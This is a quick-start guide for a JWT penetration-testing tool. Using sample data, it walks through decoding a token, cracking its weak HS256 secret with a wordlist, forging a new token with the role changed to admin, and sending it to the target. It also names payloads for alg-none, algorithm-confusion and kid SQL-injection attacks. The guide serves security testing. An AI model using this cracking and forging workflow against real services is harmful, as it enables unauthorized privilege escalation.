Quick Start
This walkthrough takes one token from "what is this?" to "I can sign my own". It uses the sample wordlist in the repo, so clone it or grab samples/wordlist.txt first.
The target token:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0Iiwicm9sZSI6InVzZXIifQ.D_n2MSe6B7KiG1sfhn_U7x4s3HPEYo-uisUj4DQBEOc
1. Read it
jwt-hack decode eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0Iiwicm9sZSI6InVzZXIifQ.D_n2MSe6B7KiG1sfhn_U7x4s3HPEYo-uisUj4DQBEOc
▎ Payload
{
"sub": "1234",
"role": "user"
}
HS256 with a role claim. If the secret is weak, you can change role and re-sign.
2. Scan it
jwt-hack scan <TOKEN> --skip-payloads
scan runs every check in one go. The interesting line:
▲ CRIT Weak Secret Uses weak secret: 'test'
3. Crack it properly
The scanner only tries a short built-in list. For a real engagement, point crack at a wordlist:
jwt-hack crack -w samples/wordlist.txt <TOKEN>
✓ Secret found
Secret test
No wordlist handy? -p 3 downloads and caches a list of known JWT secrets. See crack for presets and brute force.
4. Forge a new token
Re-sign the payload with role set to admin:
jwt-hack encode '{"sub":"1234","role":"admin"}' --secret=test
▎ Token
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0Iiwicm9sZSI6ImFkbWluIn0.N25cQtIDZAGWfnifZeT4MF79lzvCgkwp9V_uPldhg7U
5. Confirm it verifies
jwt-hack verify <FORGED_TOKEN> --secret=test
✓ Token is valid.
Send it to the target and see what the admin role unlocks.
When the secret doesn't crack
A strong secret doesn't mean the token is safe. Next, try the server's parsing and key handling:
jwt-hack payload <TOKEN> --target none,alg_confusion,kid_sql
Each payload targets a different implementation bug. payload explains what each one tests.
Where to go next
- Commands: every command and flag
- Examples: recipes for common engagement scenarios
- Scripting & Automation:
--jsonoutput for pipelines